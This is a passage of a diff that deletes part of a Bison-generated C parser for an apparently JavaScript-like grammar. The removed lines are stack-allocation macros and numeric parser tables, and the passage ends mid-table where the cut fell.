-#if ! defined yyoverflow || YYERROR_VERBOSE
-
-/* The parser invokes alloca or malloc; define the necessary symbols.  */
-
-# ifdef YYSTACK_USE_ALLOCA
-#  if YYSTACK_USE_ALLOCA
-#   ifdef __GNUC__
-#    define YYSTACK_ALLOC __builtin_alloca
-#   elif defined __BUILTIN_VA_ARG_INCR
-#    include <alloca.h> /* INFRINGES ON USER NAME SPACE */
-#   elif defined _AIX
-#    define YYSTACK_ALLOC __alloca
-#   elif defined _MSC_VER
-#    include <malloc.h> /* INFRINGES ON USER NAME SPACE */
-#    define alloca _alloca
-#   else
-#    define YYSTACK_ALLOC alloca
-#    if ! defined _ALLOCA_H && ! defined _STDLIB_H && (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-#     include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
-#     ifndef _STDLIB_H
-#      define _STDLIB_H 1
-#     endif
-#    endif
-#   endif
-#  endif
-# endif
-
-# ifdef YYSTACK_ALLOC
-   /* Pacify GCC's `empty if-body' warning.  */
-#  define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0))
-#  ifndef YYSTACK_ALLOC_MAXIMUM
-    /* The OS might guarantee only one guard page at the bottom of the stack,
-       and a page size can be as small as 4096 bytes.  So we cannot safely
-       invoke alloca (N) if N exceeds 4096.  Use a slightly smaller number
-       to allow for a few compiler-allocated temporary stack slots.  */
-#   define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */
-#  endif
-# else
-#  define YYSTACK_ALLOC YYMALLOC
-#  define YYSTACK_FREE YYFREE
-#  ifndef YYSTACK_ALLOC_MAXIMUM
-#   define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM
-#  endif
-#  if (defined __cplusplus && ! defined _STDLIB_H \
-       && ! ((defined YYMALLOC || defined malloc) \
-	     && (defined YYFREE || defined free)))
-#   include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
-#   ifndef _STDLIB_H
-#    define _STDLIB_H 1
-#   endif
-#  endif
-#  ifndef YYMALLOC
-#   define YYMALLOC malloc
-#   if ! defined malloc && ! defined _STDLIB_H && (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */
-#   endif
-#  endif
-#  ifndef YYFREE
-#   define YYFREE free
-#   if ! defined free && ! defined _STDLIB_H && (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-void free (void *); /* INFRINGES ON USER NAME SPACE */
-#   endif
-#  endif
-# endif
-#endif /* ! defined yyoverflow || YYERROR_VERBOSE */
-
-
-#if (! defined yyoverflow \
-     && (! defined __cplusplus \
-	 || (defined YYLTYPE_IS_TRIVIAL && YYLTYPE_IS_TRIVIAL \
-	     && defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL)))
-
-/* A type that is properly aligned for any stack member.  */
-union yyalloc
-{
-  yytype_int16 yyss_alloc;
-  YYSTYPE yyvs_alloc;
-  YYLTYPE yyls_alloc;
-};
-
-/* The size of the maximum gap between one aligned stack and the next.  */
-# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1)
-
-/* The size of an array large to enough to hold all stacks, each with
-   N elements.  */
-# define YYSTACK_BYTES(N) \
-     ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE) + sizeof (YYLTYPE)) \
-      + 2 * YYSTACK_GAP_MAXIMUM)
-
-/* Copy COUNT objects from FROM to TO.  The source and destination do
-   not overlap.  */
-# ifndef YYCOPY
-#  if defined __GNUC__ && 1 < __GNUC__
-#   define YYCOPY(To, From, Count) \
-      __builtin_memcpy (To, From, (Count) * sizeof (*(From)))
-#  else
-#   define YYCOPY(To, From, Count)		\
-      do					\
-	{					\
-	  YYSIZE_T yyi;				\
-	  for (yyi = 0; yyi < (Count); yyi++)	\
-	    (To)[yyi] = (From)[yyi];		\
-	}					\
-      while (YYID (0))
-#  endif
-# endif
-
-/* Relocate STACK from its old location to the new one.  The
-   local variables YYSIZE and YYSTACKSIZE give the old and new number of
-   elements in the stack, and YYPTR gives the new location of the
-   stack.  Advance YYPTR to a properly aligned location for the next
-   stack.  */
-# define YYSTACK_RELOCATE(Stack_alloc, Stack)				\
-    do									\
-      {									\
-	YYSIZE_T yynewbytes;						\
-	YYCOPY (&yyptr->Stack_alloc, Stack, yysize);			\
-	Stack = &yyptr->Stack_alloc;					\
-	yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \
-	yyptr += yynewbytes / sizeof (*yyptr);				\
-      }									\
-    while (YYID (0))
-
-#endif
-
-/* YYFINAL -- State number of the termination state.  */
-#define YYFINAL  206
-/* YYLAST -- Last index in YYTABLE.  */
-#define YYLAST   2349
-
-/* YYNTOKENS -- Number of terminals.  */
-#define YYNTOKENS  88
-/* YYNNTS -- Number of nonterminals.  */
-#define YYNNTS  194
-/* YYNRULES -- Number of rules.  */
-#define YYNRULES  597
-/* YYNRULES -- Number of states.  */
-#define YYNSTATES  1082
-
-/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX.  */
-#define YYUNDEFTOK  2
-#define YYMAXUTOK   320
-
-#define YYTRANSLATE(YYX)						\
-  ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
-
-/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX.  */
-static const yytype_uint8 yytranslate[] =
-{
-       0,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,    77,     2,     2,     2,    79,    82,     2,
-      68,    69,    78,    74,    70,    75,    73,    66,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,    67,    87,
-      80,    86,    81,    85,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,    71,     2,    72,    83,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,    84,     2,    76,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     2,     2,     2,     1,     2,     3,     4,
-       5,     6,     7,     8,     9,    10,    11,    12,    13,    14,
-      15,    16,    17,    18,    19,    20,    21,    22,    23,    24,
-      25,    26,    27,    28,    29,    30,    31,    32,    33,    34,
-      35,    36,    37,    38,    39,    40,    41,    42,    43,    44,
-      45,    46,    47,    48,    49,    50,    51,    52,    53,    54,
-      55,    56,    57,    58,    59,    60,    61,    62,    63,    64,
-      65
-};
-
-#if YYDEBUG
-/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in
-   YYRHS.  */
-static const yytype_uint16 yyprhs[] =
-{
-       0,     0,     3,     5,     7,     9,    11,    13,    15,    17,
-      21,    25,    29,    37,    46,    48,    52,    54,    57,    61,
-      66,    68,    70,    72,    74,    78,    82,    86,    92,    95,
-     100,   101,   103,   105,   108,   110,   112,   117,   121,   125,
-     127,   132,   136,   140,   142,   145,   147,   150,   153,   156,
-     161,   165,   168,   171,   176,   180,   183,   187,   189,   193,
-     195,   197,   199,   201,   203,   206,   209,   211,   214,   217,
-     220,   223,   226,   229,   232,   235,   238,   241,   244,   247,
-     250,   252,   254,   256,   258,   260,   264,   268,   272,   274,
-     278,   282,   286,   288,   292,   296,   298,   302,   306,   308,
-     312,   316,   320,   322,   326,   330,   334,   336,   340,   344,
-     348,   352,   356,   360,   362,   366,   370,   374,   378,   382,
-     384,   388,   392,   396,   400,   404,   408,   410,   414,   418,
-     422,   426,   428,   432,   436,   440,   444,   446,   450,   454,
-     458,   462,   464,   468,   470,   474,   476,   480,   482,   486,
-     488,   492,   494,   498,   500,   504,   506,   510,   512,   516,
-     518,   522,   524,   528,   530,   534,   536,   540,   542,   546,
-     548,   552,   554,   560,   562,   568,   570,   576,   578,   582,
-     584,   588,   590,   594,   596,   598,   600,   602,   604,   606,
-     608,   610,   612,   614,   616,   618,   620,   624,   626,   630,
-     632,   636,   638,   640,   642,   644,   646,   648,   650,   652,
-     654,   656,   658,   660,   662,   664,   666,   668,   670,   673,
-     677,   681,   685,   687,   690,   694,   699,   701,   704,   708,
-     713,   717,   721,   723,   727,   729,   732,   735,   738,   740,
-     743,   746,   752,   760,   768,   776,   782,   792,   803,   811,
-     820,   830,   831,   833,   834,   836,   839,   842,   846,   850,
-     853,   856,   860,   864,   867,   870,   874,   878,   884,   890,
-     894,   900,   901,   903,   905,   908,   912,   917,   920,   924,
-     928,   932,   936,   941,   949,   959,   962,   965,   973,   982,
-     989,   997,  1005,  1014,  1016,  1020,  1021,  1023,  1024,  1026,
-    1028,  1031,  1033,  1035,  1037,  1039,  1041,  1043,  1045,  1049,
-    1053,  1057,  1065,  1074,  1076,  1080,  1082,  1085,  1089,  1094,
-    1096,  1098,  1100,  1102,  1106,  1110,  1114,  1120,  1123,  1128,
-    1129,  1131,  1133,  1136,  1138,  1140,  1145,  1149,  1153,  1155,
-    1160,  1164,  1168,  1170,  1173,  1175,  1178,  1181,  1184,  1189,
-    1193,  1196,  1199,  1204,  1208,  1211,  1215,  1217,  1221,  1223,
-    1225,  1227,  1229,  1231,  1234,  1237,  1239,  1242,  1245,  1248,
-    1251,  1254,  1257,  1260,  1263,  1266,  1269,  1272,  1275,  1278,
-    1280,  1282,  1284,  1286,  1288,  1292,  1296,  1300,  1302,  1306,
-    1310,  1314,  1316,  1320,  1324,  1326,  1330,  1334,  1336,  1340,
-    1344,  1348,  1350,  1354,  1358,  1362,  1364,  1368,  1372,  1376,
-    1380,  1384,  1388,  1390,  1394,  1398,  1402,  1406,  1410,  1412,
-    1416,  1420,  1424,  1428,  1432,  1436,  1438,  1442,  1446,  1450,
-    1454,  1456,  1460,  1464,  1468,  1472,  1474,  1478,  1482,  1486,
-    1490,  1492,  1496,  1498,  1502,  1504,  1508,  1510,  1514,  1516,
-    1520,  1522,  1526,  1528,  1532,  1534,  1538,  1540,  1544,  1546,
-    1550,  1552,  1556,  1558,  1562,  1564,  1568,  1570,  1574,  1576,
-    1580,  1582,  1588,  1590,  1596,  1598,  1604,  1606,  1610,  1612,
-    1616,  1618,  1622,  1624,  1626,  1628,  1630,  1632,  1634,  1636,
-    1638,  1640,  1642,  1644,  1646,  1648,  1652,  1654,  1658,  1660,
-    1664,  1666,  1668,  1670,  1672,  1674,  1676,  1678,  1680,  1682,
-    1684,  1686,  1688,  1690,  1692,  1694,  1696,  1698,  1701,  1705,
-    1709,  1713,  1715,  1718,  1722,  1727,  1729,  1732,  1736,  1741,
-    1745,  1749,  1751,  1755,  1757,  1760,  1763,  1766,  1768,  1771,
-    1774,  1780,  1788,  1796,  1804,  1810,  1820,  1831,  1839,  1848,
-    1858,  1859,  1861,  1862,  1864,  1867,  1870,  1874,  1878,  1881,
-    1884,  1888,  1892,  1895,  1898,  1902,  1906,  1912,  1918,  1922,
-    1928,  1929,  1931,  1933,  1936,  1940,  1945,  1948,  1952,  1956,
-    1960,  1964,  1969,  1977,  1987,  1990,  1993,  2001,  2010,  2017,
-    2025,  2033,  2042,  2044,  2048,  2049,  2051,  2053
-};
-
-/* YYRHS -- A `-1'-separated list of the rules' RHS.  */
-static const yytype_int16 yyrhs[] =
-{
-     184,     0,    -1,     3,    -1,     4,    -1,     5,    -1,    61,
-      -1,    63,    -1,    66,    -1,    51,    -1,    62,    67,   143,
-      -1,    63,    67,   143,    -1,    61,    67,   143,    -1,    62,
-      62,    68,    69,    59,   183,    60,    -1,    62,    62,    68,
-     182,    69,    59,   183,    60,    -1,    90,    -1,    91,    70,
-      90,    -1,    93,    -1,    59,    60,    -1,    59,    91,    60,
-      -1,    59,    91,    70,    60,    -1,    19,    -1,    89,    -1,
-      94,    -1,    62,    -1,    68,   147,    69,    -1,    71,    96,
-      72,    -1,    71,    95,    72,    -1,    71,    95,    70,    96,
-      72,    -1,    96,   143,    -1,    95,    70,    96,   143,    -1,
-      -1,    97,    -1,    70,    -1,    97,    70,    -1,    92,    -1,
-     181,    -1,    98,    71,   147,    72,    -1,    98,    73,    62,
-      -1,    10,    98,   104,    -1,    93,    -1,    99,    71,   147,
-      72,    -1,    99,    73,    62,    -1,    10,    98,   104,    -1,
-      98,    -1,    10,   100,    -1,    99,    -1,    10,   100,    -1,
-      98,   104,    -1,   102,   104,    -1,   102,    71,   147,    72,
-      -1,   102,    73,    62,    -1,    99,   104,    -1,   103,   104,
-      -1,   103,    71,   147,    72,    -1,   103,    73,    62,    -1,
-      68,    69,    -1,    68,   105,    69,    -1,   143,    -1,   105,
-      70,   143,    -1,   100,    -1,   102,    -1,   101,    -1,   103,
-      -1,   106,    -1,   106,    43,    -1,   106,    44,    -1,   107,
-      -1,   107,    43,    -1,   107,    44,    -1,    17,   111,    -1,
-      16,   111,    -1,    24,   111,    -1,    43,   111,    -1,    64,
-     111,    -1,    44,   111,    -1,    65,   111,    -1,    74,   111,
-      -1,    75,   111,    -1,    76,   111,    -1,    77,   111,    -1,
-     108,    -1,   110,    -1,   109,    -1,   110,    -1,   111,    -1,
-     113,    78,   111,    -1,   113,    66,   111,    -1,   113,    79,
-     111,    -1,   112,    -1,   114,    78,   111,    -1,   114,    66,
-     111,    -1,   114,    79,   111,    -1,   113,    -1,   115,    74,
-     113,    -1,   115,    75,   113,    -1,   114,    -1,   116,    74,
-     113,    -1,   116,    75,   113,    -1,   115,    -1,   117,    45,
-     115,    -1,   117,    46,   115,    -1,   117,    47,   115,    -1,
-     116,    -1,   118,    45,   115,    -1,   118,    46,   115,    -1,
-     118,    47,   115,    -1,   117,    -1,   119,    80,   117,    -1,
-     119,    81,   117,    -1,   119,    39,   117,    -1,   119,    40,
-     117,    -1,   119,    23,   117,    -1,   119,    22,   117,    -1,
-     117,    -1,   120,    80,   117,    -1,   120,    81,   117,    -1,
-     120,    39,   117,    -1,   120,    40,   117,    -1,   120,    23,
-     117,    -1,   118,    -1,   121,    80,   117,    -1,   121,    81,
-     117,    -1,   121,    39,   117,    -1,   121,    40,   117,    -1,
-     121,    23,   117,    -1,   121,    22,   117,    -1,   119,    -1,
-     122,    35,   119,    -1,   122,    36,   119,    -1,   122,    37,
-     119,    -1,   122,    38,   119,    -1,   120,    -1,   123,    35,
-     120,    -1,   123,    36,   120,    -1,   123,    37,   120,    -1,
-     123,    38,   120,    -1,   121,    -1,   124,    35,   119,    -1,
-     124,    36,   119,    -1,   124,    37,   119,    -1,   124,    38,
-     119,    -1,   122,    -1,   125,    82,   122,    -1,   123,    -1,
-     126,    82,   123,    -1,   124,    -1,   127,    82,   122,    -1,
-     125,    -1,   128,    83,   125,    -1,   126,    -1,   129,    83,
-     126,    -1,   127,    -1,   130,    83,   125,    -1,   128,    -1,
-     131,    84,   128,    -1,   129,    -1,   132,    84,   129,    -1,
-     130,    -1,   133,    84,   128,    -1,   131,    -1,   134,    42,
-     131,    -1,   132,    -1,   135,    42,   132,    -1,   133,    -1,
-     136,    42,   131,    -1,   134,    -1,   137,    41,   134,    -1,
-     135,    -1,   138,    41,   135,    -1,   136,    -1,   139,    41,
-     134,    -1,   137,    -1,   137,    85,   143,    67,   143,    -1,
-     138,    -1,   138,    85,   144,    67,   144,    -1,   139,    -1,
-     139,    85,   143,    67,   143,    -1,   140,    -1,   106,   146,
-     143,    -1,   141,    -1,   106,   146,   144,    -1,   142,    -1,
-     107,   146,   143,    -1,    86,    -1,    48,    -1,    49,    -1,
-      50,    -1,    51,    -1,    52,    -1,    53,    -1,    54,    -1,
-      55,    -1,    57,    -1,    58,    -1,    56,    -1,   143,    -1,
-     147,    70,   143,    -1,   144,    -1,   148,    70,   144,    -1,
-     145,    -1,   149,    70,   143,    -1,   151,    -1,   152,    -1,
-     155,    -1,   180,    -1,   160,    -1,   161,    -1,   162,    -1,
-     163,    -1,   166,    -1,   167,    -1,   168,    -1,   169,    -1,
-     170,    -1,   176,    -1,   177,    -1,   178,    -1,   179,    -1,
-      59,    60,    -1,    59,   185,    60,    -1,    11,   153,    87,
-      -1,    11,   153,     1,    -1,    62,    -1,    62,   158,    -1,
-     153,    70,    62,    -1,   153,    70,    62,   158,    -1,    62,
-      -1,    62,   159,    -1,   154,    70,    62,    -1,   154,    70,
-      62,   159,    -1,    12,   156,    87,    -1,    12,   156,     1,
-      -1,   157,    -1,   156,    70,   157,    -1,    62,    -1,    62,
-     158,    -1,    86,   143,    -1,    86,   144,    -1,    87,    -1,
-     149,    87,    -1,   149,     1,    -1,    18,    68,   147,    69,
-     150,    -1,    18,    68,   147,    69,   150,    34,   150,    -1,
-      20,   150,    21,    68,   147,    69,    87,    -1,    20,   150,
-      21,    68,   147,    69,     1,    -1,    21,    68,   147,    69,
-     150,    -1,     9,    68,   165,    87,   164,    87,   164,    69,
-     150,    -1,     9,    68,    11,   154,    87,   164,    87,   164,
-      69,   150,    -1,     9,    68,   106,    22,   147,    69,   150,
-      -1,     9,    68,    11,    62,    22,   147,    69,   150,    -1,
-       9,    68,    11,    62,   159,    22,   147,    69,   150,    -1,
-      -1,   147,    -1,    -1,   148,    -1,    13,    87,    -1,    13,
-       1,    -1,    13,    62,    87,    -1,    13,    62,     1,    -1,
-       6,    87,    -1,     6,     1,    -1,     6,    62,    87,    -1,
-       6,    62,     1,    -1,    15,    87,    -1,    15,     1,    -1,
-      15,   147,    87,    -1,    15,   147,     1,    -1,    26,    68,
-     147,    69,   150,    -1,    25,    68,   147,    69,   171,    -1,
-      59,   172,    60,    -1,    59,   172,   175,   172,    60,    -1,
-      -1,   173,    -1,   174,    -1,   173,   174,    -1,     7,   147,
-      67,    -1,     7,   147,    67,   185,    -1,     8,    67,    -1,
-       8,    67,   185,    -1,    62,    67,   150,    -1,    28,   147,
-      87,    -1,    28,   147,     1,    -1,    29,   151,    31,   151,
-      -1,    29,   151,    30,    68,    62,    69,   151,    -1,    29,
-     151,    30,    68,    62,    69,   151,    31,   151,    -1,    32,
-      87,    -1,    32,     1,    -1,    14,    62,    68,    69,    59,
-     183,    60,    -1,    14,    62,    68,   182,    69,    59,   183,
-      60,    -1,    14,    68,    69,    59,   183,    60,    -1,    14,
-      68,   182,    69,    59,   183,    60,    -1,    14,    62,    68,
-      69,    59,   183,    60,    -1,    14,    62,    68,   182,    69,
-      59,   183,    60,    -1,    62,    -1,   182,    70,    62,    -1,
-      -1,   281,    -1,    -1,   185,    -1,   150,    -1,   185,   150,
-      -1,     3,    -1,     4,    -1,     5,    -1,    61,    -1,    63,
-      -1,    66,    -1,    51,    -1,    62,    67,   240,    -1,    63,
-      67,   240,    -1,    61,    67,   240,    -1,    62,    62,    68,
-      69,    59,   280,    60,    -1,    62,    62,    68,   279,    69,
-      59,   280,    60,    -1,   187,    -1,   188,    70,   187,    -1,
-     190,    -1,    59,    60,    -1,    59,   188,    60,    -1,    59,
-     188,    70,    60,    -1,    19,    -1,   186,    -1,   191,    -1,
-      62,    -1,    68,   244,    69,    -1,    71,   193,    72,    -1,
-      71,   192,    72,    -1,    71,   192,    70,   193,    72,    -1,
-     193,   240,    -1,   192,    70,   193,   240,    -1,    -1,   194,
-      -1,    70,    -1,   194,    70,    -1,   189,    -1,   278,    -1,
-     195,    71,   244,    72,    -1,   195,    73,    62,    -1,    10,
-     195,   201,    -1,   190,    -1,   196,    71,   244,    72,    -1,
-     196,    73,    62,    -1,    10,   195,   201,    -1,   195,    -1,
-      10,   197,    -1,   196,    -1,    10,   197,    -1,   195,   201,
-      -1,   199,   201,    -1,   199,    71,   244,    72,    -1,   199,
-      73,    62,    -1,   196,   201,    -1,   200,   201,    -1,   200,
-      71,   244,    72,    -1,   200,    73,    62,    -1,    68,    69,
-      -1,    68,   202,    69,    -1,   240,    -1,   202,    70,   240,
-      -1,   197,    -1,   199,    -1,   198,    -1,   200,    -1,   203,
-      -1,   203,    43,    -1,   203,    44,    -1,   204,    -1,   204,
-      43,    -1,   204,    44,    -1,    17,   208,    -1,    16,   208,
-      -1,    24,   208,    -1,    43,   208,    -1,    64,   208,    -1,
-      44,   208,    -1,    65,   208,    -1,    74,   208,    -1,    75,
-     208,    -1,    76,   208,    -1,    77,   208,    -1,   205,    -1,
-     207,    -1,   206,    -1,   207,    -1,   208,    -1,   210,    78,
-     208,    -1,   210,    66,   208,    -1,   210,    79,   208,    -1,
-     209,    -1,   211,    78,   208,    -1,   211,    66,   208,    -1,
-     211,    79,   208,    -1,   210,    -1,   212,    74,   210,    -1,
-     212,    75,   210,    -1,   211,    -1,   213,    74,   210,    -1,
-     213,    75,   210,    -1,   212,    -1,   214,    45,   212,    -1,
-     214,    46,   212,    -1,   214,    47,   212,    -1,   213,    -1,
-     215,    45,   212,    -1,   215,    46,   212,    -1,   215,    47,
-     212,    -1,   214,    -1,   216,    80,   214,    -1,   216,    81,
-     214,    -1,   216,    39,   214,    -1,   216,    40,   214,    -1,
-     216,    23,   214,    -1,   216,    22,   214,    -1,   214,    -1,
-     217,    80,   214,    -1,   217,    81,   214,    -1,   217,    39,
-     214,    -1,   217,    40,   214,    -1,   217,    23,   214,    -1,
-     215,    -1,   218,    80,   214,    -1,   218,    81,   214,    -1,
-     218,    39,   214,    -1,   218,    40,   214,    -1,   218,    23,
-     214,    -1,   218,    22,   214,    -1,   216,    -1,   219,    35,
-     216,    -1,   219,    36,   216,    -1,   219,    37,   216,    -1,
-     219,    38,   216,    -1,   217,    -1,   220,    35,   217,    -1,
-     220,    36,   217,    -1,   220,    37,   217,    -1,   220,    38,
-     217,    -1,   218,    -1,   221,    35,   216,    -1,   221,    36,
-     216,    -1,   221,    37,   216,    -1,   221,    38,   216,    -1,
-     219,    -1,   222,    82,   219,    -1,   220,    -1,   223,    82,
-     220,    -1,   221,    -1,   224,    82,   219,    -1,   222,    -1,
-     225,    83,   222,    -1,   223,    -1,   226,    83,   223,    -1,
-     224,    -1,   227,    83,   222,    -1,   225,    -1,   228,    84,
-     225,    -1,   226,    -1,   229,    84,   226,    -1,   227,    -1,
-     230,    84,   225,    -1,   228,    -1,   231,    42,   228,    -1,
-     229,    -1,   232,    42,   229,    -1,   230,    -1,   233,    42,
-     228,    -1,   231,    -1,   234,    41,   231,    -1,   232,    -1,
-     235,    41,   232,    -1,   233,    -1,   236,    41,   231,    -1,
-     234,    -1,   234,    85,   240,    67,   240,    -1,   235,    -1,
-     235,    85,   241,    67,   241,    -1,   236,    -1,   236,    85,
-     240,    67,   240,    -1,   237,    -1,   203,   243,   240,    -1,
-     238,    -1,   203,   243,   241,    -1,   239,    -1,   204,   243,
-     240,    -1,    86,    -1,    48,    -1,    49,    -1,    50,    -1,
-      51,    -1,    52,    -1,    53,    -1,    54,    -1,    55,    -1,
-      57,    -1,    58,    -1,    56,    -1,   240,    -1,   244,    70,
-     240,    -1,   241,    -1,   245,    70,   241,    -1,   242,    -1,
-     246,    70,   240,    -1,   248,    -1,   249,    -1,   252,    -1,
-     277,    -1,   257,    -1,   258,    -1,   259,    -1,   260,    -1,
-     263,    -1,   264,    -1,   265,    -1,   266,    -1,   267,    -1,
-     273,    -1,   274,    -1,   275,    -1,   276,    -1,    59,    60,
-      -1,    59,   281,    60,    -1,    11,   250,    87,    -1,    11,
-     250,     1,    -1,    62,    -1,    62,   255,    -1,   250,    70,
-      62,    -1,   250,    70,    62,   255,    -1,    62,    -1,    62,
-     256,    -1,   251,    70,    62,    -1,   251,    70,    62,   256,
-      -1,    12,   253,    87,    -1,    12,   253,     1,    -1,   254,
-      -1,   253,    70,   254,    -1,    62,    -1,    62,   255,    -1,
-      86,   240,    -1,    86,   241,    -1,    87,    -1,   246,    87,
-      -1,   246,     1,    -1,    18,    68,   244,    69,   247,    -1,
-      18,    68,   244,    69,   247,    34,   247,    -1,    20,   247,
-      21,    68,   244,    69,    87,    -1,    20,   247,    21,    68,
-     244,    69,     1,    -1,    21,    68,   244,    69,   247,    -1,
-       9,    68,   262,    87,   261,    87,   261,    69,   247,    -1,
-       9,    68,    11,   251,    87,   261,    87,   261,    69,   247,
-      -1,     9,    68,   203,    22,   244,    69,   247,    -1,     9,
-      68,    11,    62,    22,   244,    69,   247,    -1,     9,    68,
-      11,    62,   256,    22,   244,    69,   247,    -1,    -1,   244,
-      -1,    -1,   245,    -1,    13,    87,    -1,    13,     1,    -1,
-      13,    62,    87,    -1,    13,    62,     1,    -1,     6,    87,
-      -1,     6,     1,    -1,     6,    62,    87,    -1,     6,    62,
-       1,    -1,    15,    87,    -1,    15,     1,    -1,    15,   244,
-      87,    -1,    15,   244,     1,    -1,    26,    68,   244,    69,
-     247,    -1,    25,    68,   244,    69,   268,    -1,    59,   269,
-      60,    -1,    59,   269,   272,   269,    60,    -1,    -1,   270,
-      -1,   271,    -1,   270,   271,    -1,     7,   244,    67,    -1,
-       7,   244,    67,   281,    -1,     8,    67,    -1,     8,    67,
-     281,    -1,    62,    67,   247,    -1,    28,   244,    87,    -1,
-      28,   244,     1,    -1,    29,   248,    31,   248,    -1,    29,
-     248,    30,    68,    62,    69,   248,    -1,    29,   248,    30,
-      68,    62,    69,   248,    31,   248,    -1,    32,    87,    -1,
-      32,     1,    -1,    14,    62,    68,    69,    59,   280,    60,
-      -1,    14,    62,    68,   279,    69,    59,   280,    60,    -1,
-      14,    68,    69,    59,   280,    60,    -1,    14,    68,   279,
-      69,    59,   280,    60,    -1,    14,    62,    68,    69,    59,
-     280,    60,    -1,    14,    62,    68,   279,    69,    59,   280,
-      60,    -1,    62,    -1,   279,    70,    62,    -1,    -1,   281,
-      -1,   247,    -1,   281,   247,    -1
-};
-
-/* YYRLINE[YYN] -- source line where rule number YYN was defined.  */
-static const yytype_uint16 yyrline[] =
-{
-       0,   293,   293,   294,   295,   296,   297,   298,   309,   323,
-     324,   325,   326,   327,   339,   343,   350,   351,   352,   354,
-     358,   359,   360,   361,   362,   366,   367,   368,   372,   376,
-     384,   385,   389,   390,   394,   395,   396,   400,   404,   411,
-     412,   416,   420,   427,   428,   435,   436,   443,   444,   445,
-     449,   455,   456,   457,   461,   468,   469,   473,   477,   484,
-     485,   489,   490,   494,   495,   496,   500,   501,   502,   506,
-     507,   508,   509,   510,   511,   512,   513,   514,   515,   516,
-     519,   520,   524,   525,   529,   530,   531,   532,   536,   537,
-     539,   541,   546,   547,   548,   552,   553,   555,   560,   561,
-     562,   563,   567,   568,   569,   570,   574,   575,   576,   577,
-     578,   579,   582,   588,   589,   590,   591,   592,   593,   600,
-     601,   602,   603,   604,   605,   609,   616,   617,   618,   619,
-     620,   624,   625,   627,   629,   631,   636,   637,   639,   640,
-     642,   647,   648,   652,   653,   658,   659,   663,   664,   668,
-     669,   674,   675,   680,   681,   685,   686,   691,   692,   697,
-     698,   702,   703,   708,   709,   714,   715,   719,   720,   725,
-     726,   730,   731,   736,   737,   742,   743,   748,   749,   756,
-     757,   764,   765,   772,   773,   774,   775,   776,   777,   778,
-     779,   780,   781,   782,   783,   787,   788,   792,   793,   797,
-     798,   802,   803,   804,   805,   806,   807,   808,   809,   810,
-     811,   812,   813,   814,   815,   816,   817,   818,   822,   824,
-     829,   831,   837,   844,   853,   861,   874,   881,   890,   898,
-     911,   913,   919,   927,   939,   940,   944,   948,   952,   956,
-     958,   963,   966,   976,   978,   980,   982,   988,   995,  1004,
-    1010,  1021,  1022,  1026,  1027,  1031,  1035,  1039,  1043,  1050,
-    1053,  1056,  1059,  1065,  1068,  1071,  1074,  1080,  1086,  1092,
-    1093,  1102,  1103,  1107,  1113,  1123,  1124,  1128,  1129,  1133,
-    1139,  1143,  1150,  1156,  1162,  1172,  1174,  1179,  1180,  1191,
-    1192,  1199,  1200,  1210,  1213,  1219,  1220,  1224,  1225,  1230,
-    1237,  1248,  1249,  1250,  1251,  1252,  1253,  1254,  1258,  1259,
-    1260,  1261,  1262,  1266,  1267,  1271,  1272,  1273,  1275,  1279,
-    1280,  1281,  1282,  1283,  1287,  1288,  1289,  1293,  1294,  1297,
-    1299,  1303,  1304,  1308,  1309,  1310,  1311,  1312,  1316,  1317,
-    1318,  1319,  1323,  1324,  1328,  1329,  1333,  1334,  1335,  1336,
-    1340,  1341,  1342,  1343,  1347,  1348,  1352,  1353,  1357,  1358,
-    1362,  1363,  1367,  1368,  1369,  1373,  1374,  1375,  1379,  1380,
-    1381,  1382,  1383,  1384,  1385,  1386,  1387,  1388,  1389,  1392,
-    1393,  1397,  1398,  1402,  1403,  1404,  1405,  1409,  1410,  1411,
-    1412,  1416,  1417,  1418,  1422,  1423,  1424,  1428,  1429,  1430,
-    1431,  1435,  1436,  1437,  1438,  1442,  1443,  1444,  1445,  1446,
-    1447,  1448,  1452,  1453,  1454,  1455,  1456,  1457,  1461,  1462,
-    1463,  1464,  1465,  1466,  1467,  1471,  1472,  1473,  1474,  1475,
